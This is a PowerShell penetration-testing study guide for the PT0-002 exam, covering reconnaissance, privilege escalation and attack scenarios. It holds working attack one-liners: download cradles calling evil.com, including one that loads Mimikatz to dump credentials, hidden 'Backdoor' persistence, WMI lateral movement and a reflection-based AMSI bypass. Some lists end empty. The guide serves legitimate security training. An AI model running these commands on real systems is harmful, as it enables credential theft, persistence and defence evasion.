PowerShell for Penetration Testing

PowerShell is a task automation and configuration management framework from Microsoft, consisting of a command-line shell and associated scripting language. Initially released in 2006 as Windows PowerShell (built on .NET Framework), it evolved into PowerShell Core (cross-platform, built on .NET Core) in 2016, and later unified as PowerShell 7. For the PT0-002 exam, focus on Windows PowerShell 5.1 (default on Windows 10/Server 2016+) and PowerShell 7 (cross-platform).

PowerShell's existence is rooted in the need for system administrators to automate repetitive tasks (like user creation, log parsing, and software deployment) more effectively than VBScript or batch files. Its object-oriented nature—where cmdlets output .NET objects rather than text—makes it powerful for chaining commands (pipelining). For penetration testers, PowerShell is invaluable because it is: - Native to Windows: Installed by default on all modern Windows systems, reducing the need to drop custom binaries. - Trusted by defenders: Often whitelisted in application control policies (e.g., AppLocker) because it's a legitimate admin tool. - Powerful: Can access WMI, CIM, .NET, COM, and the Windows API directly. - Scriptable: Enables rapid development of reconnaissance, privilege escalation, and persistence tools.

When you type a command in PowerShell, the following happens: 1. Parsing: The PowerShell engine parses the command into tokens (words, operators, parameters). 2. Command Resolution: The engine looks up the command in the following order: alias -> function -> cmdlet -> external command (exe). If not found, it throws an error. 3. Parameter Binding: The engine binds parameters using default parameter sets, positional parameters, or explicitly named parameters. 4. Execution: The command's implementation (e.g., a C# method for cmdlets, a script block for functions) runs. 5. Output Processing: The output objects are passed to the next command in the pipeline (if any) or formatted for display.

PowerShell uses a monad (single-threaded) approach for the pipeline: each command processes one object at a time from the previous command, not waiting for all objects to be generated. This is memory-efficient for large datasets.

To check execution policy:

Get-ExecutionPolicy

To bypass execution policy for a single script:

powershell -ExecutionPolicy Bypass -File script.ps1

To enable PowerShell Remoting:

Enable-PSRemoting -Force

To verify remoting is enabled:

Test-WSMan -ComputerName localhost

To start a remote session:

Enter-PSSession -ComputerName TARGET -Credential (Get-Credential)

To run a single command remotely:

Invoke-Command -ComputerName TARGET -ScriptBlock { Get-Process } -Credential (Get-Credential)

To check script block logging:

Get-WinEvent -LogName 'Microsoft-Windows-PowerShell/Operational' | Where-Object { $_.Id -eq 4104 } | Format-List *

To check module logging:

Get-WinEvent -LogName 'Windows PowerShell' | Where-Object { $_.Id -eq 800 } | Format-List *

- .NET Framework: PowerShell can instantiate any .NET object and call its methods. For example:

[System.Net.WebClient]::new().DownloadString('http://evil.com/payload.ps1')

Reconnaissance:

Get-Process
Get-Service
Get-NetTCPConnection
Get-LocalUser
Get-LocalGroupMember -Group Administrators
Get-ChildItem C:\Users -Recurse -Filter *.txt

Privilege Escalation:

# Check for unquoted service paths
Get-CimInstance -ClassName Win32_Service | Where-Object { $_.PathName -notlike '"*' -and $_.PathName -like '* *' }
# Check for always install elevated
Get-ItemProperty HKLM:\SOFTWARE\Policies\Microsoft\Windows\Installer

Persistence:

# Add a registry run key
New-ItemProperty -Path HKCU:\Software\Microsoft\Windows\CurrentVersion\Run -Name 'Backdoor' -Value 'powershell -WindowStyle Hidden -EncodedCommand <base64>'
# Create a scheduled task
$action = New-ScheduledTaskAction -Execute 'powershell' -Argument '-WindowStyle Hidden -EncodedCommand <base64>'
$trigger = New-ScheduledTaskTrigger -AtStartup
Register-ScheduledTask -TaskName 'UpdateTask' -Action $action -Trigger $trigger -User 'SYSTEM'

Credential Theft:

# Mimikatz via PowerShell (Invoke-Mimikatz)
IEX (New-Object Net.WebClient).DownloadString('http://evil.com/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds
# Invoke-Kerberoast for service account tickets

Lateral Movement:

# PSRemoting
Invoke-Command -ComputerName TARGET -ScriptBlock { Get-Process } -Credential $cred
# WMI execution
Invoke-WmiMethod -ComputerName TARGET -Class Win32_Process -Name Create -ArgumentList 'powershell -EncodedCommand <base64>'

Defenders can:

For the exam, know that AMSI bypasses exist (e.g., [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)).

Windows PowerShell 5.1 is the last version of Windows PowerShell; PowerShell 7 is the future. Key differences:

For PT0-002, assume Windows PowerShell 5.1 unless stated otherwise.

A penetration tester is engaged to assess a medium-sized enterprise with 2,000 Windows 10 workstations and 50 Windows Server 2019 domain controllers. The tester gains initial access via a phishing email that executes a PowerShell download cradle. The first step is to enumerate the local system for privilege escalation vectors. The tester runs Get-LocalGroupMember -Group Administrators to see who is local admin, then checks for unquoted service paths using Get-CimInstance Win32_Service | Where-Object { $_.PathName -notlike '"*' -and $_.PathName -like '* *' }. They find a service with path C:\Program Files\Vendor App\service.exe (no quotes). By placing a malicious service.exe in C:\Program Files\Vendor App\ (which they have write access to due to weak permissions), they escalate to SYSTEM. From there, they dump credentials with Invoke-Mimikatz -DumpCreds and find a domain admin hash. They use Invoke-Command -ComputerName DC01 -ScriptBlock { Get-ADUser -Filter * } to enumerate all domain users. The engagement requires careful logging: they enable transcript via Start-Transcript -Path C:\temp\log.txt to document their actions for the report. The tester must also avoid detection by disabling real-time monitoring (if allowed) or using obfuscation. Common misconfiguration: the domain's PowerShell logging is not enabled, so the tester's commands go unnoticed. However, if Script Block Logging is enabled, Event ID 4104 will capture every script block, including the download cradle. The tester would need to use obfuscation techniques like splitting strings or using -EncodedCommand to avoid signature-based detection.

A red team is targeting a financial institution with strict AppLocker policies that block powershell.exe but allow powershell_ise.exe and pwsh.dll (for PowerShell 7). The team uses a technique called 'PowerShell without PowerShell'—they execute PowerShell commands via cscript using a .js file that invokes the PowerShell object via COM. Alternatively, they use Install-util or regsvr32 to load PowerShell code through trusted binaries. Once on a system, they discover Constrained Language Mode is enabled. They bypass it by launching PowerShell with -Version 2 (if PowerShell 2.0 is installed) because version 2 does not support Constrained Language Mode. They then execute Get-Process to list running processes. For lateral movement, they use WMI instead of PSRemoting because WinRM may be blocked: Invoke-WmiMethod -ComputerName TARGET -Class Win32_Process -Name Create -ArgumentList 'powershell -EncodedCommand <base64>'. The red team also uses PowerShell Empire for command and control, which uses a PowerShell agent that communicates over HTTP with AES-encrypted traffic. The defenders have AMSI enabled, so the team uses an AMSI bypass: [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true). This patch causes AMSI to return 'non-malicious' for all scans. The exam may ask which AMSI bypass technique is used; know that this reflection-based bypass is common.

A tester is assessing an Azure AD-joined environment. They use PowerShell with the AzureAD module to enumerate users, groups, and applications. Commands like Get-AzureADUser -All $true and Get-AzureADGroupMember -ObjectId <group-id> are used. For on-premises AD, they use Get-ADUser -Filter * -Properties * from the ActiveDirectory module. The tester also uses Invoke-Command to run commands on Azure VMs via the Azure extension or via WinRM if enabled. A common mistake is forgetting to authenticate first: Connect-AzureAD or Connect-MsolService. The exam may test that Get-ADUser is part of the ActiveDirectory module, which is not installed by default on client OS; it requires RSAT. In cloud scenarios, the tester might use Invoke-RestMethod to call Microsoft Graph API directly: Invoke-RestMethod -Uri 'https://graph.microsoft.com/v1.0/users' -Headers @{Authorization = "Bearer $token"}. This is more stealthy than using AzureAD cmdlets because it uses native HTTP calls.